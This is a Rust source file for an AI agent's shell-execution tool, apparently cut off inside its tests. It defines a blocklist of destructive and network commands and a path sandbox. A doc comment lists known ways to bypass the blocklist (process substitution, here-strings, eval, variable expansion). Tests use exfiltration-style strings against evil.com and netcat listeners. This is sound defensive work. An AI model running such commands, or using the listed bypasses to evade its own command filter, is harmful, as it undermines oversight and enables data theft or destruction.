zeph_tools/

shell.rs

// SPDX-FileCopyrightText: 2026 Andrei G <bug-ops>
// SPDX-License-Identifier: MIT OR Apache-2.0

use std::path::PathBuf;
use std::time::{Duration, Instant};

use tokio::process::Command;
use tokio_util::sync::CancellationToken;

use schemars::JsonSchema;
use serde::Deserialize;

use crate::audit::{AuditEntry, AuditLogger, AuditResult};
use crate::config::ShellConfig;
use crate::executor::{
    FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
};
use crate::filter::{OutputFilterRegistry, sanitize_output};
use crate::permissions::{PermissionAction, PermissionPolicy};

const DEFAULT_BLOCKED: &[&str] = &[
    "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
    "reboot", "halt",
];

const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];

#[derive(Deserialize, JsonSchema)]
pub(crate) struct BashParams {
    /// The bash command to execute
    command: String,
}

/// Bash block extraction and execution via `tokio::process::Command`.
#[derive(Debug)]
pub struct ShellExecutor {
    timeout: Duration,
    blocked_commands: Vec<String>,
    allowed_paths: Vec<PathBuf>,
    confirm_patterns: Vec<String>,
    audit_logger: Option<AuditLogger>,
    tool_event_tx: Option<ToolEventTx>,
    permission_policy: Option<PermissionPolicy>,
    output_filter_registry: Option<OutputFilterRegistry>,
    cancel_token: Option<CancellationToken>,
    skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
}

impl ShellExecutor {
    #[must_use]
    pub fn new(config: &ShellConfig) -> Self {
        let allowed: Vec<String> = config
            .allowed_commands
            .iter()
            .map(|s| s.to_lowercase())
            .collect();

        let mut blocked: Vec<String> = DEFAULT_BLOCKED
            .iter()
            .filter(|s| !allowed.contains(&s.to_lowercase()))
            .map(|s| (*s).to_owned())
            .collect();
        blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));

        if !config.allow_network {
            for cmd in NETWORK_COMMANDS {
                let lower = cmd.to_lowercase();
                if !blocked.contains(&lower) {
                    blocked.push(lower);
                }
            }
        }

        blocked.sort();
        blocked.dedup();

        let allowed_paths = if config.allowed_paths.is_empty() {
            vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
        } else {
            config.allowed_paths.iter().map(PathBuf::from).collect()
        };

        Self {
            timeout: Duration::from_secs(config.timeout),
            blocked_commands: blocked,
            allowed_paths,
            confirm_patterns: config.confirm_patterns.clone(),
            audit_logger: None,
            tool_event_tx: None,
            permission_policy: None,
            output_filter_registry: None,
            cancel_token: None,
            skill_env: std::sync::RwLock::new(None),
        }
    }

    /// Set environment variables to inject when executing the active skill's bash blocks.
    pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
        match self.skill_env.write() {
            Ok(mut guard) => *guard = env,
            Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
        }
    }

    #[must_use]
    pub fn with_audit(mut self, logger: AuditLogger) -> Self {
        self.audit_logger = Some(logger);
        self
    }

    #[must_use]
    pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
        self.tool_event_tx = Some(tx);
        self
    }

    #[must_use]
    pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
        self.permission_policy = Some(policy);
        self
    }

    #[must_use]
    pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
        self.cancel_token = Some(token);
        self
    }

    #[must_use]
    pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
        self.output_filter_registry = Some(registry);
        self
    }

    /// Execute a bash block bypassing the confirmation check (called after user confirms).
    ///
    /// # Errors
    ///
    /// Returns `ToolError` on blocked commands, sandbox violations, or execution failures.
    pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
        self.execute_inner(response, true).await
    }

    #[allow(clippy::too_many_lines)]
    async fn execute_inner(
        &self,
        response: &str,
        skip_confirm: bool,
    ) -> Result<Option<ToolOutput>, ToolError> {
        let blocks = extract_bash_blocks(response);
        if blocks.is_empty() {
            return Ok(None);
        }

        let mut outputs = Vec::with_capacity(blocks.len());
        let mut cumulative_filter_stats: Option<FilterStats> = None;
        #[allow(clippy::cast_possible_truncation)]
        let blocks_executed = blocks.len() as u32;

        for block in &blocks {
            if let Some(ref policy) = self.permission_policy {
                match policy.check("bash", block) {
                    PermissionAction::Deny => {
                        self.log_audit(
                            block,
                            AuditResult::Blocked {
                                reason: "denied by permission policy".to_owned(),
                            },
                            0,
                        )
                        .await;
                        return Err(ToolError::Blocked {
                            command: (*block).to_owned(),
                        });
                    }
                    PermissionAction::Ask if !skip_confirm => {
                        return Err(ToolError::ConfirmationRequired {
                            command: (*block).to_owned(),
                        });
                    }
                    _ => {}
                }
            } else {
                if let Some(blocked) = self.find_blocked_command(block) {
                    self.log_audit(
                        block,
                        AuditResult::Blocked {
                            reason: format!("blocked command: {blocked}"),
                        },
                        0,
                    )
                    .await;
                    return Err(ToolError::Blocked {
                        command: blocked.to_owned(),
                    });
                }

                if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
                    return Err(ToolError::ConfirmationRequired {
                        command: pattern.to_owned(),
                    });
                }
            }

            self.validate_sandbox(block)?;

            if let Some(ref tx) = self.tool_event_tx {
                let _ = tx.send(ToolEvent::Started {
                    tool_name: "bash".to_owned(),
                    command: (*block).to_owned(),
                });
            }

            let start = Instant::now();
            let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
                self.skill_env.read().ok().and_then(|g| g.clone());
            let (out, exit_code) = execute_bash(
                block,
                self.timeout,
                self.tool_event_tx.as_ref(),
                self.cancel_token.as_ref(),
                skill_env_snapshot.as_ref(),
            )
            .await;
            if exit_code == 130
                && self
                    .cancel_token
                    .as_ref()
                    .is_some_and(CancellationToken::is_cancelled)
            {
                return Err(ToolError::Cancelled);
            }
            #[allow(clippy::cast_possible_truncation)]
            let duration_ms = start.elapsed().as_millis() as u64;

            let result = if out.contains("[error]") {
                AuditResult::Error {
                    message: out.clone(),
                }
            } else if out.contains("timed out") {
                AuditResult::Timeout
            } else {
                AuditResult::Success
            };
            self.log_audit(block, result, duration_ms).await;

            let sanitized = sanitize_output(&out);
            let mut per_block_stats: Option<FilterStats> = None;
            let filtered = if let Some(ref registry) = self.output_filter_registry {
                match registry.apply(block, &sanitized, exit_code) {
                    Some(fr) => {
                        tracing::debug!(
                            command = block,
                            raw = fr.raw_chars,
                            filtered = fr.filtered_chars,
                            savings_pct = fr.savings_pct(),
                            "output filter applied"
                        );
                        let block_fs = FilterStats {
                            raw_chars: fr.raw_chars,
                            filtered_chars: fr.filtered_chars,
                            raw_lines: fr.raw_lines,
                            filtered_lines: fr.filtered_lines,
                            confidence: Some(fr.confidence),
                            command: Some((*block).to_owned()),
                            kept_lines: fr.kept_lines.clone(),
                        };
                        let stats =
                            cumulative_filter_stats.get_or_insert_with(FilterStats::default);
                        stats.raw_chars += fr.raw_chars;
                        stats.filtered_chars += fr.filtered_chars;
                        stats.raw_lines += fr.raw_lines;
                        stats.filtered_lines += fr.filtered_lines;
                        stats.confidence = Some(match (stats.confidence, fr.confidence) {
                            (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
                            (None, cur) => cur,
                        });
                        if stats.command.is_none() {
                            stats.command = Some((*block).to_owned());
                        }
                        if stats.kept_lines.is_empty() && !fr.kept_lines.is_empty() {
                            stats.kept_lines.clone_from(&fr.kept_lines);
                        }
                        per_block_stats = Some(block_fs);
                        fr.output
                    }
                    None => sanitized,
                }
            } else {
                sanitized
            };

            if let Some(ref tx) = self.tool_event_tx {
                let _ = tx.send(ToolEvent::Completed {
                    tool_name: "bash".to_owned(),
                    command: (*block).to_owned(),
                    output: out.clone(),
                    success: !out.contains("[error]"),
                    filter_stats: per_block_stats,
                    diff: None,
                });
            }
            outputs.push(format!("$ {block}\n{filtered}"));
        }

        Ok(Some(ToolOutput {
            tool_name: "bash".to_owned(),
            summary: outputs.join("\n\n"),
            blocks_executed,
            filter_stats: cumulative_filter_stats,
            diff: None,
            streamed: self.tool_event_tx.is_some(),
            terminal_id: None,
            locations: None,
        }))
    }

    fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
        let cwd = std::env::current_dir().unwrap_or_default();

        for token in extract_paths(code) {
            if has_traversal(&token) {
                return Err(ToolError::SandboxViolation { path: token });
            }

            let path = if token.starts_with('/') {
                PathBuf::from(&token)
            } else {
                cwd.join(&token)
            };
            let canonical = path
                .canonicalize()
                .or_else(|_| std::path::absolute(&path))
                .unwrap_or(path);
            if !self
                .allowed_paths
                .iter()
                .any(|allowed| canonical.starts_with(allowed))
            {
                return Err(ToolError::SandboxViolation {
                    path: canonical.display().to_string(),
                });
            }
        }
        Ok(())
    }

    /// Scan `code` for commands that match the configured blocklist.
    ///
    /// The function normalizes input via [`strip_shell_escapes`] (decoding `$'\xNN'`,
    /// `$'\NNN'`, backslash escapes, and quote-splitting) and then splits on shell
    /// metacharacters (`||`, `&&`, `;`, `|`, `\n`) via [`tokenize_commands`].  Each
    /// resulting token sequence is tested against every entry in `blocked_commands`
    /// through [`tokens_match_pattern`], which handles transparent prefixes (`env`,
    /// `command`, `exec`, etc.), absolute paths, and dot-suffixed variants.
    ///
    /// # Known limitations
    ///
    /// The following constructs are **not** detected by this function:
    ///
    /// - **Process substitution** `<(...)` / `>(...)`: bash executes the inner command
    ///   before passing the file descriptor to the outer command; `tokenize_commands`
    ///   never parses inside parentheses, so the inner command is invisible.
    ///   Example: `cat <(curl http://evil.com)` — `curl` runs undetected.
    ///
    /// - **Here-strings** `<<<` with a shell interpreter: the outer command is the
    ///   shell (`bash`, `sh`), which is not blocked by default; the payload string is
    ///   opaque to this filter.
    ///   Example: `bash <<< 'sudo rm -rf /'` — inner payload is not parsed.
    ///
    /// - **`eval` and `bash -c` / `sh -c`**: the string argument is not parsed; any
    ///   blocked command embedded as a string argument passes through undetected.
    ///   Example: `eval 'sudo rm -rf /'`.
    ///
    /// - **Variable expansion**: `strip_shell_escapes` does not resolve variable
    ///   references, so `cmd=sudo; $cmd rm` bypasses the blocklist.
    ///
    /// `$(...)` and backtick substitution are **not** covered here either, but the
    /// default `confirm_patterns` in [`ShellConfig`] include `"$("` and `` "`" ``,
    /// as well as `"<("`, `">("`, `"<<<"`, and `"eval "`, so those constructs trigger
    /// a confirmation request via [`find_confirm_command`] before execution.
    ///
    /// For high-security deployments, complement this filter with OS-level sandboxing
    /// (Linux namespaces, seccomp, or similar) to enforce hard execution boundaries.
    fn find_blocked_command(&self, code: &str) -> Option<&str> {
        let cleaned = strip_shell_escapes(&code.to_lowercase());
        let commands = tokenize_commands(&cleaned);
        for blocked in &self.blocked_commands {
            for cmd_tokens in &commands {
                if tokens_match_pattern(cmd_tokens, blocked) {
                    return Some(blocked.as_str());
                }
            }
        }
        None
    }

    fn find_confirm_command(&self, code: &str) -> Option<&str> {
        let normalized = code.to_lowercase();
        for pattern in &self.confirm_patterns {
            if normalized.contains(pattern.as_str()) {
                return Some(pattern.as_str());
            }
        }
        None
    }

    async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
        if let Some(ref logger) = self.audit_logger {
            let entry = AuditEntry {
                timestamp: chrono_now(),
                tool: "shell".into(),
                command: command.into(),
                result,
                duration_ms,
            };
            logger.log(&entry).await;
        }
    }
}

impl ToolExecutor for ShellExecutor {
    async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
        self.execute_inner(response, false).await
    }

    fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
        use crate::registry::{InvocationHint, ToolDef};
        vec![ToolDef {
            id: "bash".into(),
            description: "Execute a shell command".into(),
            schema: schemars::schema_for!(BashParams),
            invocation: InvocationHint::FencedBlock("bash"),
        }]
    }

    async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
        if call.tool_id != "bash" {
            return Ok(None);
        }
        let params: BashParams = crate::executor::deserialize_params(&call.params)?;
        if params.command.is_empty() {
            return Ok(None);
        }
        let command = &params.command;
        // Wrap as a fenced block so execute_inner can extract and run it
        let synthetic = format!("```bash\n{command}\n```");
        self.execute_inner(&synthetic, false).await
    }

    fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
        ShellExecutor::set_skill_env(self, env);
    }
}

/// Strip shell escape sequences that could bypass command detection.
/// Handles: backslash insertion (`su\do` -> `sudo`), `$'\xNN'` hex and `$'\NNN'` octal
/// escapes, adjacent quoted segments (`"su""do"` -> `sudo`), backslash-newline continuations.
fn strip_shell_escapes(input: &str) -> String {
    let mut out = String::with_capacity(input.len());
    let bytes = input.as_bytes();
    let mut i = 0;
    while i < bytes.len() {
        // $'...' ANSI-C quoting: decode \xNN hex and \NNN octal escapes
        if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
            let mut j = i + 2; // points after $'
            let mut decoded = String::new();
            let mut valid = false;
            while j < bytes.len() && bytes[j] != b'\'' {
                if bytes[j] == b'\\' && j + 1 < bytes.len() {
                    let next = bytes[j + 1];
                    if next == b'x' && j + 3 < bytes.len() {
                        // \xNN hex escape
                        let hi = (bytes[j + 2] as char).to_digit(16);
                        let lo = (bytes[j + 3] as char).to_digit(16);
                        if let (Some(h), Some(l)) = (hi, lo) {
                            #[allow(clippy::cast_possible_truncation)]
                            let byte = ((h << 4) | l) as u8;
                            decoded.push(byte as char);
                            j += 4;
                            valid = true;
                            continue;
                        }
                    } else if next.is_ascii_digit() {
                        // \NNN octal escape (up to 3 digits)
                        let mut val = u32::from(next - b'0');
                        let mut len = 2; // consumed \N so far
                        if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
                            val = val * 8 + u32::from(bytes[j + 2] - b'0');
                            len = 3;
                            if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
                                val = val * 8 + u32::from(bytes[j + 3] - b'0');
                                len = 4;
                            }
                        }
                        #[allow(clippy::cast_possible_truncation)]
                        decoded.push((val & 0xFF) as u8 as char);
                        j += len;
                        valid = true;
                        continue;
                    }
                    // other \X escape: emit X literally
                    decoded.push(next as char);
                    j += 2;
                } else {
                    decoded.push(bytes[j] as char);
                    j += 1;
                }
            }
            if j < bytes.len() && bytes[j] == b'\'' && valid {
                out.push_str(&decoded);
                i = j + 1;
                continue;
            }
            // not a decodable $'...' sequence — fall through to handle as regular chars
        }
        // backslash-newline continuation: remove both
        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
            i += 2;
            continue;
        }
        // intra-word backslash: skip the backslash, keep next char (e.g. su\do -> sudo)
        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
            i += 1;
            out.push(bytes[i] as char);
            i += 1;
            continue;
        }
        // quoted segment stripping: collapse adjacent quoted segments
        if bytes[i] == b'"' || bytes[i] == b'\'' {
            let quote = bytes[i];
            i += 1;
            while i < bytes.len() && bytes[i] != quote {
                out.push(bytes[i] as char);
                i += 1;
            }
            if i < bytes.len() {
                i += 1; // skip closing quote
            }
            continue;
        }
        out.push(bytes[i] as char);
        i += 1;
    }
    out
}

/// Split normalized shell code into sub-commands on `|`, `||`, `&&`, `;`, `\n`.
/// Returns list of sub-commands, each as `Vec<String>` of tokens.
fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
    // Replace two-char operators with a single separator, then split on single-char separators
    let replaced = normalized.replace("||", "\n").replace("&&", "\n");
    replaced
        .split([';', '|', '\n'])
        .map(|seg| {
            seg.split_whitespace()
                .map(str::to_owned)
                .collect::<Vec<String>>()
        })
        .filter(|tokens| !tokens.is_empty())
        .collect()
}

/// Transparent prefix commands that invoke the next argument as a command.
/// Skipped when determining the "real" command name being invoked.
const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];

/// Return the basename of a token (last path component after '/').
fn cmd_basename(tok: &str) -> &str {
    tok.rsplit('/').next().unwrap_or(tok)
}

/// Check if the first tokens of a sub-command match a blocked pattern.
/// Handles:
/// - Transparent prefix commands (`env sudo rm` -> checks `sudo`)
/// - Absolute paths (`/usr/bin/sudo rm` -> basename `sudo` is checked)
/// - Dot-suffixed variants (`mkfs` matches `mkfs.ext4`)
/// - Multi-word patterns (`rm -rf /` joined prefix check)
fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
    if tokens.is_empty() || pattern.is_empty() {
        return false;
    }
    let pattern = pattern.trim();
    let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
    if pattern_tokens.is_empty() {
        return false;
    }

    // Skip transparent prefix tokens to reach the real command
    let start = tokens
        .iter()
        .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
        .unwrap_or(0);
    let effective = &tokens[start..];
    if effective.is_empty() {
        return false;
    }

    if pattern_tokens.len() == 1 {
        let pat = pattern_tokens[0];
        let base = cmd_basename(&effective[0]);
        // Exact match OR dot-suffixed variant (e.g. "mkfs" matches "mkfs.ext4")
        base == pat || base.starts_with(&format!("{pat}."))
    } else {
        // Multi-word: join first N tokens (using basename for first) and check prefix
        let n = pattern_tokens.len().min(effective.len());
        let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
        parts.extend(effective[1..n].iter().map(String::as_str));
        let joined = parts.join(" ");
        if joined.starts_with(pattern) {
            return true;
        }
        if effective.len() > n {
            let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
            parts2.extend(effective[1..=n].iter().map(String::as_str));
            parts2.join(" ").starts_with(pattern)
        } else {
            false
        }
    }
}

fn extract_paths(code: &str) -> Vec<String> {
    let mut result = Vec::new();

    // Tokenize respecting single/double quotes
    let mut tokens: Vec<String> = Vec::new();
    let mut current = String::new();
    let mut chars = code.chars().peekable();
    while let Some(c) = chars.next() {
        match c {
            '"' | '\'' => {
                let quote = c;
                while let Some(&nc) = chars.peek() {
                    if nc == quote {
                        chars.next();
                        break;
                    }
                    current.push(chars.next().unwrap());
                }
            }
            c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
                if !current.is_empty() {
                    tokens.push(std::mem::take(&mut current));
                }
            }
            _ => current.push(c),
        }
    }
    if !current.is_empty() {
        tokens.push(current);
    }

    for token in tokens {
        let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
        if trimmed.is_empty() {
            continue;
        }
        if trimmed.starts_with('/')
            || trimmed.starts_with("./")
            || trimmed.starts_with("../")
            || trimmed == ".."
        {
            result.push(trimmed);
        }
    }
    result
}

fn has_traversal(path: &str) -> bool {
    path.split('/').any(|seg| seg == "..")
}

fn extract_bash_blocks(text: &str) -> Vec<&str> {
    crate::executor::extract_fenced_blocks(text, "bash")
}

fn chrono_now() -> String {
    use std::time::{SystemTime, UNIX_EPOCH};
    let secs = SystemTime::now()
        .duration_since(UNIX_EPOCH)
        .unwrap_or_default()
        .as_secs();
    format!("{secs}")
}

/// Kill a child process and its descendants.
/// On unix, sends SIGKILL to child processes via `pkill -KILL -P <pid>` before
/// killing the parent, preventing zombie subprocesses.
async fn kill_process_tree(child: &mut tokio::process::Child) {
    #[cfg(unix)]
    if let Some(pid) = child.id() {
        let _ = Command::new("pkill")
            .args(["-KILL", "-P", &pid.to_string()])
            .status()
            .await;
    }
    let _ = child.kill().await;
}

async fn execute_bash(
    code: &str,
    timeout: Duration,
    event_tx: Option<&ToolEventTx>,
    cancel_token: Option<&CancellationToken>,
    extra_env: Option<&std::collections::HashMap<String, String>>,
) -> (String, i32) {
    use std::process::Stdio;
    use tokio::io::{AsyncBufReadExt, BufReader};

    let timeout_secs = timeout.as_secs();

    let mut cmd = Command::new("bash");
    cmd.arg("-c")
        .arg(code)
        .stdout(Stdio::piped())
        .stderr(Stdio::piped());
    if let Some(env) = extra_env {
        cmd.envs(env);
    }
    let child_result = cmd.spawn();

    let mut child = match child_result {
        Ok(c) => c,
        Err(e) => return (format!("[error] {e}"), 1),
    };

    let stdout = child.stdout.take().expect("stdout piped");
    let stderr = child.stderr.take().expect("stderr piped");

    let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);

    let stdout_tx = line_tx.clone();
    tokio::spawn(async move {
        let mut reader = BufReader::new(stdout);
        let mut buf = String::new();
        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
            let _ = stdout_tx.send(buf.clone()).await;
            buf.clear();
        }
    });

    tokio::spawn(async move {
        let mut reader = BufReader::new(stderr);
        let mut buf = String::new();
        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
            let _ = line_tx.send(format!("[stderr] {buf}")).await;
            buf.clear();
        }
    });

    let mut combined = String::new();
    let deadline = tokio::time::Instant::now() + timeout;

    loop {
        tokio::select! {
            line = line_rx.recv() => {
                match line {
                    Some(chunk) => {
                        if let Some(tx) = event_tx {
                            let _ = tx.send(ToolEvent::OutputChunk {
                                tool_name: "bash".to_owned(),
                                command: code.to_owned(),
                                chunk: chunk.clone(),
                            });
                        }
                        combined.push_str(&chunk);
                    }
                    None => break,
                }
            }
            () = tokio::time::sleep_until(deadline) => {
                kill_process_tree(&mut child).await;
                return (format!("[error] command timed out after {timeout_secs}s"), 1);
            }
            () = async {
                match cancel_token {
                    Some(t) => t.cancelled().await,
                    None => std::future::pending().await,
                }
            } => {
                kill_process_tree(&mut child).await;
                return ("[cancelled] operation aborted".to_string(), 130);
            }
        }
    }

    let status = child.wait().await;
    let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);

    if combined.is_empty() {
        ("(no output)".to_string(), exit_code)
    } else {
        (combined, exit_code)
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    fn default_config() -> ShellConfig {
        ShellConfig {
            timeout: 30,
            blocked_commands: Vec::new(),
            allowed_commands: Vec::new(),
            allowed_paths: Vec::new(),
            allow_network: true,
            confirm_patterns: Vec::new(),
        }
    }

    fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
        ShellConfig {
            allowed_paths,
            ..default_config()
        }
    }

    #[test]
    fn extract_single_bash_block() {
        let text = "Here is code:\n```bash\necho hello\n```\nDone.";
        let blocks = extract_bash_blocks(text);
        assert_eq!(blocks, vec!["echo hello"]);
    }

    #[test]
    fn extract_multiple_bash_blocks() {
        let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
        let blocks = extract_bash_blocks(text);
        assert_eq!(blocks, vec!["ls", "pwd"]);
    }

    #[test]
    fn ignore_non_bash_blocks() {
        let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
        let blocks = extract_bash_blocks(text);
        assert_eq!(blocks, vec!["echo hi"]);
    }

    #[test]
    fn no_blocks_returns_none() {
        let text = "Just plain text, no code blocks.";
        let blocks = extract_bash_blocks(text);
        assert!(blocks.is_empty());
    }

    #[test]
    fn unclosed_block_ignored() {
        let text = "```bash\necho hello";
        let blocks = extract_bash_blocks(text);
        assert!(blocks.is_empty());
    }

    #[tokio::test]
    #[cfg(not(target_os = "windows"))]
    async fn execute_simple_command() {
        let (result, code) =
            execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
        assert!(result.contains("hello"));
        assert_eq!(code, 0);
    }

    #[tokio::test]
    #[cfg(not(target_os = "windows"))]
    async fn execute_stderr_output() {
        let (result, _) =
            execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
        assert!(result.contains("[stderr]"));
        assert!(result.contains("err"));
    }

    #[tokio::test]
    #[cfg(not(target_os = "windows"))]
    async fn execute_stdout_and_stderr_combined() {
        let (result, _) = execute_bash(
            "echo out && echo err >&2",
            Duration::from_secs(30),
            None,
            None,
            None,
        )
        .await;
        assert!(result.contains("out"));
        assert!(result.contains("[stderr]"));
        assert!(result.contains("err"));
        assert!(result.contains('\n'));
    }

    #[tokio::test]
    #[cfg(not(target_os = "windows"))]
    async fn execute_empty_output() {
        let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
        assert_eq!(result, "(no output)");
        assert_eq!(code, 0);
    }

    #[tokio::test]
    async fn blocked_command_rejected() {
        let config = ShellConfig {
            blocked_commands: vec!["rm -rf /".to_owned()],
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        let response = "Run:\n```bash\nrm -rf /\n```";
        let result = executor.execute(response).await;
        assert!(matches!(result, Err(ToolError::Blocked { .. })));
    }

    #[tokio::test]
    #[cfg(not(target_os = "windows"))]
    async fn timeout_enforced() {
        let config = ShellConfig {
            timeout: 1,
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        let response = "Run:\n```bash\nsleep 60\n```";
        let result = executor.execute(response).await;
        assert!(result.is_ok());
        let output = result.unwrap().unwrap();
        assert!(output.summary.contains("timed out"));
    }

    #[tokio::test]
    async fn execute_no_blocks_returns_none() {
        let executor = ShellExecutor::new(&default_config());
        let result = executor.execute("plain text, no blocks").await;
        assert!(result.is_ok());
        assert!(result.unwrap().is_none());
    }

    #[tokio::test]
    async fn execute_multiple_blocks_counted() {
        let executor = ShellExecutor::new(&default_config());
        let response = "```bash\necho one\n```\n```bash\necho two\n```";
        let result = executor.execute(response).await;
        let output = result.unwrap().unwrap();
        assert_eq!(output.blocks_executed, 2);
        assert!(output.summary.contains("one"));
        assert!(output.summary.contains("two"));
    }

    // --- command filtering tests ---

    #[test]
    fn default_blocked_always_active() {
        let executor = ShellExecutor::new(&default_config());
        assert!(executor.find_blocked_command("rm -rf /").is_some());
        assert!(executor.find_blocked_command("sudo apt install").is_some());
        assert!(
            executor
                .find_blocked_command("mkfs.ext4 /dev/sda")
                .is_some()
        );
        assert!(
            executor
                .find_blocked_command("dd if=/dev/zero of=disk")
                .is_some()
        );
    }

    #[test]
    fn user_blocked_additive() {
        let config = ShellConfig {
            blocked_commands: vec!["custom-danger".to_owned()],
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        assert!(executor.find_blocked_command("sudo rm").is_some());
        assert!(
            executor
                .find_blocked_command("custom-danger script")
                .is_some()
        );
    }

    #[test]
    fn blocked_prefix_match() {
        let executor = ShellExecutor::new(&default_config());
        assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
    }

    #[test]
    fn blocked_infix_match() {
        let executor = ShellExecutor::new(&default_config());
        assert!(
            executor
                .find_blocked_command("echo hello && sudo rm")
                .is_some()
        );
    }

    #[test]
    fn blocked_case_insensitive() {
        let executor = ShellExecutor::new(&default_config());
        assert!(executor.find_blocked_command("SUDO apt install").is_some());
        assert!(executor.find_blocked_command("Sudo apt install").is_some());
        assert!(executor.find_blocked_command("SuDo apt install").is_some());
        assert!(
            executor
                .find_blocked_command("MKFS.ext4 /dev/sda")
                .is_some()
        );
        assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
        assert!(executor.find_blocked_command("RM -RF /").is_some());
    }

    #[test]
    fn safe_command_passes() {
        let executor = ShellExecutor::new(&default_config());
        assert!(executor.find_blocked_command("echo hello").is_none());
        assert!(executor.find_blocked_command("ls -la").is_none());
        assert!(executor.find_blocked_command("cat file.txt").is_none());
        assert!(executor.find_blocked_command("cargo build").is_none());
    }

    #[test]
    fn partial_match_accepted_tradeoff() {
        let executor = ShellExecutor::new(&default_config());
        // "sudoku" is not the "sudo" command — word-boundary matching prevents false positive
        assert!(executor.find_blocked_command("sudoku").is_none());
    }

    #[test]
    fn multiline_command_blocked() {
        let executor = ShellExecutor::new(&default_config());
        assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
    }

    #[test]
    fn dd_pattern_blocks_dd_if() {
        let executor = ShellExecutor::new(&default_config());
        assert!(
            executor
                .find_blocked_command("dd if=/dev/zero of=/dev/sda")
                .is_some()
        );
    }

    #[test]
    fn mkfs_pattern_blocks_variants() {
        let executor = ShellExecutor::new(&default_config());
        assert!(
            executor
                .find_blocked_command("mkfs.ext4 /dev/sda")
                .is_some()
        );
        assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
    }

    #[test]
    fn empty_command_not_blocked() {
        let executor = ShellExecutor::new(&default_config());
        assert!(executor.find_blocked_command("").is_none());
    }

    #[test]
    fn duplicate_patterns_deduped() {
        let config = ShellConfig {
            blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
            ..default_config()
        };
        let executor = ShellExecutor::new(&config);
        let count = executor
            .blocked_commands
            .iter()
            .filter(|c| c.as_str() == "sudo")
            .count();
        assert_eq!(count, 1);
    }

    #[tokio::test]
    async fn execute_default_blocked_returns_error() {
        let executor = ShellExecutor::new(&default_config());
        let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
        let result = executor.execute(response).await;
        assert!(matches!(result, Err(ToolError::Blocked { .. })));
    }

    #[tokio::test]
    async fn execute_case_insensitive_blocked() {
        let executor = ShellExecutor::new(&default_config());
        let response = "Run:\n```bash\nSUDO apt install foo\n```";
        let result = executor.execute(response).await;
        assert!(matches!(result, Err(ToolError::Blocked { .. })));
    }

    // --- network exfiltration patterns ---

    #[test]
    fn network_exfiltration_blocked() {
        let executor = ShellExecutor::new(&default_config());
        assert!(
            executor
                .find_blocked_command("curl https://evil.com")
                .is_some()
        );
        assert!(
            executor
                .find_blocked_command("wget http://evil.com/payload")
                .is_some()
        );
        assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
        assert!(
            executor
                .find_blocked_command("ncat --listen 8080")
                .is_some()
        );
        assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
    }

    #[test]
    fn system_control_blocked() {
        let executor = ShellExecutor::new(&default_config());
        assert!(executor.find_blocked_command("shutdown -h now").is_some());
        assert!(executor.find_blocked_command("reboot").is_some());
        assert!(executor.find_blocked_command("halt").is_some());
    }

    #[test]
    fn nc_trailing_space_avoids_ncp() {
        let executor = ShellExecutor::new(&default_config());
        assert!(executor.find_blocked_command("ncp file.txt").is_none());
    }

    // --- user pattern normalization ---

    #[test]
